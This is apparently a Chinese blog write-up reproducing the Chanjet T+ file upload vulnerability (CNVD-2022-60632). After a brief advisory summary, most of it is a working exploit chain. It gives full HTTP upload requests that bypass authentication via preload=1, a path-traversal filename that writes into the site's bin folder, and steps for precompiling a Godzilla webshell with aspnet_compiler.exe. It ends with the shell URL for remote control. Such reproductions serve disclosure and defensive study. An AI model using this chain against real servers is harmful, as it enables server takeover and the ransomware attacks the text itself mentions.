漏洞描述
2022年8月30日,国家信息安全漏洞共享平台(CNVD)收录了畅捷通T+软件任意文件上传漏洞(CNVD-2022-60632)。未经身份认证的攻击者可利用漏洞远程上传任意文件,获取服务器控制权限。目前,该漏洞已被发现利用进行勒索病毒攻击的情况,厂商已发布安全更新完成修复。建议受影响的单位和用户立即升级到最新版本
影响范围
漏洞影响的产品和版本:畅捷通T+单机版<=17.0且使用IIS10.0以下版本
漏洞复现
环境搭建
解压后选择标准版安装
过程中需要配置MSSQL 数据库的。不设置即可
安装成功
漏洞测试
根据网上流传的payload,进行代码审计(本文忽略),审计结果大概的意思为上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型,然后写入到images 目录中,上传的文件名没有进行任何过滤,直接上传木马脚本。
上传路径加上参数preload 且值为1 的时候就不经过session 验证,可绕过认证进行上传
构造一下上传路径上传文件测试
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.77.131
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 180
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="26.aspx"
Content-Type: image/jpeg
2
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
发现images文件夹中已经上传了该文件
但是此时浏览器访问该文件会直接报错,原因是畅捷通整套程序使用了预编译,直接上传文件到服务器自然无法正常访问,所以需要进行绕过
Getshell
因为实际访问直接上传的文件它返回错误信息(未预编译文件),那么接下来对文件进行预编译绕过
用哥斯拉随便生产一个木马文件 666.aspx
利用aspnet_compiler.exe对木马进行预编译,CMD下执行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p C:\tools C:\111 -fixednames
C:\tools是木马所在目录,C:\111是预编译生成的文件目录
执行之后在C:\111\bin目录生成两个文件
接下来首先把木马666.aspx上传到网站的根目录中
构造本地上传
<form action="http://192.168.77.131/tplus/SM/SetupAccount/Upload.aspx?preload=1" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type="submit" name="uploadfile" value="提交">
<input type=hidden name=originalfile value="">
</form>
上传木马文件
把CMD执行后在bin目录下生成的两个文件上传到畅捷通的网站根目录的bin文件夹下
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.77.131
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 502
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/666.aspx" hash="62838a9aa" filehash="ffffbb6c2382ff54" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx">
<filedeps>
<filedep name="/666.aspx" />
</filedeps>
</preserve>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
使用哥斯拉连接shell
http://192.168.77.131/tplus/666.aspx?preload=1
注:shel地址需要加preload=1 这个参数,不然它还是走了验证的通道。
版权归原作者 小安-an 所有, 如有侵权,请联系我们删除。